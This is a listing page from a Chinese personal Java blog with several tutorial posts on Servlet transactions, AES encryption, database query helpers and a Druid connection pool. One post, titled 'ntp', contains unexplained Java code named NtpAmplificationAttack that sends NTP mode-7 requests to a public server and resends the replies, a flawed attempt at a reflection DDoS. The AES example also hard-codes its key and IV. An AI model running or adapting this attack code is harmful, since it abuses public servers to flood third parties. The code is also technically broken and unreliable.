首页
关于
留言
统计
友链
壁纸
影视
留言找电影
Search
1
java jdk17版本使用cglib报错问题解决
321 阅读
2
在Java中修复json数据,json格式不正确,如何在Java中修复不正确的json
117 阅读
3
Java实现双链表插入排序~渡星河全网首发
107 阅读
4
Java打印某年某月的日历~不调用函数
76 阅读
5
npm nvm 淘宝镜像最新可用
71 阅读
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
登录
/
注册
Search
标签搜索
java
java作业
恋爱
动漫
3A大作
独行月球
电影分享
总之就是非常可爱
JavaScript
office
破解
mysql
vue
java打包
跨域
tomcat解决乱码
bug解决
tomcat
vscode
渡星河
累计撰写
94
篇文章
累计收到
30
条评论
首页
栏目
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
页面
关于
留言
统计
友链
壁纸
影视
留言找电影
搜索到
81
篇与
的结果
2023-02-17
javaServlet实现数据插入,通过事务进行处理
在 Java Servlet 中进行数据插入并使用事务进行处理的基本步骤如下:获取数据库连接并打开事务Connection conn = null; try { // 获取数据库连接 conn = dataSource.getConnection(); // 手动开启事务 conn.setAutoCommit(false); } catch (SQLException e) { // 异常处理 } 执行插入操作PreparedStatement ps = null; try { ps = conn.prepareStatement("INSERT INTO table_name (column1, column2) VALUES (?, ?)"); ps.setString(1, value1); ps.setString(2, value2); int rowsAffected = ps.executeUpdate(); } catch (SQLException e) { // 异常处理 } 提交或回滚事务try { // 提交事务 conn.commit(); } catch (SQLException e) { // 回滚事务 try { conn.rollback(); } catch (SQLException ex) { // 回滚异常处理 } } finally { // 关闭连接 try { conn.close(); } catch (SQLException ex) { // 关闭连接异常处理 } } 以上代码中的 dataSource 可以使用连接池技术来实现,比如 Apache 的 DBCP 或 C3P0。通过连接池获取连接时,可以设置连接池的属性,比如最大连接数、最小连接数等。事务的提交和回滚可以根据需要进行处理,同时可以根据业务需求对异常进行处理。
2023年02月17日
10 阅读
0 评论
0 点赞
2023-02-17
ntp
import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class NtpAmplificationAttack { private static final int PACKET_SIZE = 48; private static final String NTP_SERVER = "ntp1.aliyun.com"; private static final int NTP_PORT = 123; public static void main(String[] args) throws IOException { ExecutorService executor = Executors.newFixedThreadPool(10); for (int i = 0; i < 10; i++) { executor.submit(new NtpRequestTask()); } executor.shutdown(); } private static class NtpRequestTask implements Runnable { @Override public void run() { DatagramSocket socket = null; try { socket = new DatagramSocket(); InetAddress address = InetAddress.getByName(NTP_SERVER); byte[] requestData = createNTPRequestData(); DatagramPacket requestPacket = new DatagramPacket(requestData, requestData.length, address, NTP_PORT); socket.send(requestPacket); byte[] responseData = new byte[PACKET_SIZE * 100]; DatagramPacket responsePacket = new DatagramPacket(responseData, responseData.length); socket.receive(responsePacket); InetAddress srcAddress = InetAddress.getByName("127.0.0.1"); DatagramPacket spoofedPacket = new DatagramPacket(responsePacket.getData(), responsePacket.getLength(), srcAddress, 0); socket.send(spoofedPacket); } catch (IOException e) { e.printStackTrace(); } finally { if (socket != null) { socket.close(); } } } } private static byte[] createNTPRequestData() { byte[] data = new byte[PACKET_SIZE]; data[0] = 0x17; // NTP Version 2, Mode 7 for (int i = 1; i < 48; i++) { data[i] = 0x00; // Set all bytes to 0 } return data; } }
2023年02月17日
25 阅读
0 评论
1 点赞
2023-02-16
javaServlet封装AES的加密类
Java Servlet 可以封装常用的加密类,以实现对用户数据的保护。以下是一个简单的加密类封装示例:import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.util.Base64; public class EncryptionUtils { // 算法名 private static final String ALGORITHM_NAME = "AES"; // 填充方式 private static final String ALGORITHM_PADDING = "AES/CBC/PKCS5Padding"; // 加密密钥(长度必须是16位) private static final String ENCRYPTION_KEY = "0123456789abcdef"; // 初始向量(长度必须是16位) private static final String IV = "0123456789abcdef"; // 加密字符串 public static String encrypt(String plaintext) { try { SecretKeySpec key = new SecretKeySpec(ENCRYPTION_KEY.getBytes("UTF-8"), ALGORITHM_NAME); Cipher cipher = Cipher.getInstance(ALGORITHM_PADDING); IvParameterSpec ivParameterSpec = new IvParameterSpec(IV.getBytes("UTF-8")); cipher.init(Cipher.ENCRYPT_MODE, key, ivParameterSpec); byte[] encrypted = cipher.doFinal(plaintext.getBytes("UTF-8")); return Base64.getEncoder().encodeToString(encrypted); } catch (Exception e) { e.printStackTrace(); } return null; } // 解密字符串 public static String decrypt(String ciphertext) { try { SecretKeySpec key = new SecretKeySpec(ENCRYPTION_KEY.getBytes("UTF-8"), ALGORITHM_NAME); Cipher cipher = Cipher.getInstance(ALGORITHM_PADDING); IvParameterSpec ivParameterSpec = new IvParameterSpec(IV.getBytes("UTF-8")); cipher.init(Cipher.DECRYPT_MODE, key, ivParameterSpec); byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(ciphertext)); return new String(decrypted, "UTF-8"); } catch (Exception e) { e.printStackTrace(); } return null; } } 这个类中使用了 Java 中提供的加密类库,实现了对字符串的加密和解密操作。加密方法使用 AES 算法对字符串进行加密,加密后的密文使用 Base64 编码。解密方法则是先使用 Base64 解码,再使用 AES 算法进行解密,最后将解密后的字节数组转换为字符串。在 Servlet 中使用这个类只需要导入这个类,然后就可以使用其中的加密和解密方法了。例如String plaintext = "Hello, world!"; String ciphertext = EncryptionUtils.encrypt(plaintext); System.out.println(ciphertext); // 输出加密后的字符串 String decrypted = EncryptionUtils.decrypt(ciphertext); System.out.println(decrypted); // 输出解密后的字符串 注意:这个示例中的加密密钥和初始向量都是写死的,实际应用中应该根据具体情况进行修改,不能直接使用这个示例中的值。
2023年02月16日
12 阅读
0 评论
1 点赞
2023-02-16
javaServlet封装常用数据库查询逻辑
封装常用的数据库查询语句可以提高代码的复用性和可维护性,以下是一个 JavaServlet 封装常用查询语句的实例,包括增、删、改、查。查询一条记录public Map<String, Object> queryOne(String sql, Object... params) { try (Connection conn = dataSource.getConnection(); PreparedStatement stmt = conn.prepareStatement(sql)) { for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]); } try (ResultSet rs = stmt.executeQuery()) { if (rs.next()) { ResultSetMetaData metaData = rs.getMetaData(); int columnCount = metaData.getColumnCount(); Map<String, Object> resultMap = new HashMap<>(); for (int i = 1; i <= columnCount; i++) { String columnName = metaData.getColumnLabel(i); Object columnValue = rs.getObject(columnName); resultMap.put(columnName, columnValue); } return resultMap; } } } catch (SQLException e) { e.printStackTrace(); } return null; } 查询多条记录public List<Map<String, Object>> queryList(String sql, Object... params) { List<Map<String, Object>> resultList = new ArrayList<>(); try (Connection conn = dataSource.getConnection(); PreparedStatement stmt = conn.prepareStatement(sql)) { for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]); } try (ResultSet rs = stmt.executeQuery()) { while (rs.next()) { ResultSetMetaData metaData = rs.getMetaData(); int columnCount = metaData.getColumnCount(); Map<String, Object> resultMap = new HashMap<>(); for (int i = 1; i <= columnCount; i++) { String columnName = metaData.getColumnLabel(i); Object columnValue = rs.getObject(columnName); resultMap.put(columnName, columnValue); } resultList.add(resultMap); } } } catch (SQLException e) { e.printStackTrace(); } return resultList; } 插入一条记录public int insert(String sql, Object... params) { try (Connection conn = dataSource.getConnection(); PreparedStatement stmt = conn.prepareStatement(sql)) { for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]); } return stmt.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); } return 0; } 更新一条记录public int update(String sql, Object... params) { try (Connection conn = dataSource.getConnection(); PreparedStatement stmt = conn.prepareStatement(sql)) { for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]); } return stmt.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); } return 0; } 删除一条记录public int delete(String sql, Object... params) { try (Connection conn = dataSource.getConnection(); PreparedStatement stmt = conn.prepareStatement(sql)) { for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]); } return stmt.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); } return 0; } 调用实例要使用以上代码,需要首先创建一个数据源,例如import com.alibaba.druid.pool.DruidDataSource; import javax.sql.DataSource; public class DataSourceFactory { public static DataSource createDataSource() { DruidDataSource dataSource = new DruidDataSource(); dataSource.setDriverClassName("com.mysql.jdbc.Driver"); dataSource.setUrl("jdbc:mysql://localhost:3306/mydb?useUnicode=true&characterEncoding=utf-8&useSSL=false"); dataSource.setUsername("root"); dataSource.setPassword("123456"); dataSource.setInitialSize(5); dataSource.setMaxActive(100); dataSource.setMinIdle(1); dataSource.setMaxWait(60000); return dataSource; } } 然后,在 Servlet 中创建一个数据库操作对象:import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.List; import java.util.Map; import javax.sql.DataSource; import java.sql.SQLException; @WebServlet("/database") public class DatabaseServlet extends HttpServlet { private DataSource dataSource; private DatabaseOperation databaseOperation; @Override public void init() throws ServletException { dataSource = DataSourceFactory.createDataSource(); databaseOperation = new DatabaseOperation(dataSource); } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String sql = "SELECT * FROM user WHERE id = ?"; Map<String, Object> user = databaseOperation.queryOne(sql, 1); System.out.println(user); sql = "SELECT * FROM user"; List<Map<String, Object>> userList = databaseOperation.queryList(sql); System.out.println(userList); } @Override public void destroy() { if (dataSource != null) { try { dataSource.close(); } catch (SQLException e) { e.printStackTrace(); } } } } 在 Servlet 的 init 方法中初始化数据源和数据库操作对象,然后在 doGet 方法中使用这个对象调用封装好的方法进行数据库操作。最后,在 Servlet 的 destroy 方法中关闭数据源。以上代码仅作为示例,具体实现需要根据具体的需求进行修改和完善。
2023年02月16日
10 阅读
0 评论
0 点赞
2023-02-16
JavaServlet封装一个druid数据连接池,并优化使连接池效率最优抗并发
Druid 是阿里巴巴开源的一款高性能的 JDBC 连接池,在 Java Web 开发中被广泛使用。要封装一个 Druid 数据连接池,可以按照以下步骤进行:引入 Druid 和数据库驱动的依赖。在 Maven 中添加以下依赖:<dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.6</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.27</version> </dependency> 创建 Druid 数据源对象。在 ServletContextListener 中创建 Druid 数据源对象,将其设置为全局变量,这样在整个应用程序中都可以共享该数据源。@WebListener public class ContextListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { ServletContext servletContext = sce.getServletContext(); String jdbcUrl = "jdbc:mysql://localhost:3306/test"; String username = "root"; String password = "password"; DataSource dataSource = createDataSource(jdbcUrl, username, password); servletContext.setAttribute("dataSource", dataSource); } @Override public void contextDestroyed(ServletContextEvent sce) { // do nothing } private DataSource createDataSource(String jdbcUrl, String username, String password) { DruidDataSource dataSource = new DruidDataSource(); dataSource.setUrl(jdbcUrl); dataSource.setUsername(username); dataSource.setPassword(password); dataSource.setInitialSize(5); // 初始化连接池大小 dataSource.setMinIdle(5); // 最小空闲连接数 dataSource.setMaxActive(100); // 最大连接数 dataSource.setMaxWait(60000); // 获取连接的最长等待时间 dataSource.setValidationQuery("SELECT 1"); // 检测连接是否有效的 SQL dataSource.setTestOnBorrow(true); // 获取连接时检测是否有效 dataSource.setTestOnReturn(false); // 归还连接时不检测是否有效 dataSource.setTestWhileIdle(true); // 定时检测空闲连接是否有效 dataSource.setTimeBetweenEvictionRunsMillis(60000); // 定时检测的时间间隔 dataSource.setMinEvictableIdleTimeMillis(300000); // 空闲连接超过该时间会被回收 dataSource.setMaxEvictableIdleTimeMillis(600000); // 空闲连接最长存活时间 return dataSource; } }上面的代码中,我们在 contextInitialized() 方法中创建了 Druid 数据源对象,并将其设置为 ServletContext 中的属性。在创建数据源时,我们指定了一些参数,例如最大连接数、初始化连接池大小、最长等待时间等。在 Servlet 中获取 Druid 数据源对象,并从数据源中获取数据库连接。@WebServlet("/example") public class ExampleServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { DataSource dataSource = (DataSource) getServletContext().getAttribute("dataSource"); try (Connection conn = dataSource.getConnection()) { // 使用连接进行数据库操作 } catch (SQLException e) { } } }
2023年02月16日
9 阅读
0 评论
0 点赞
1
...
9
10
11
...
17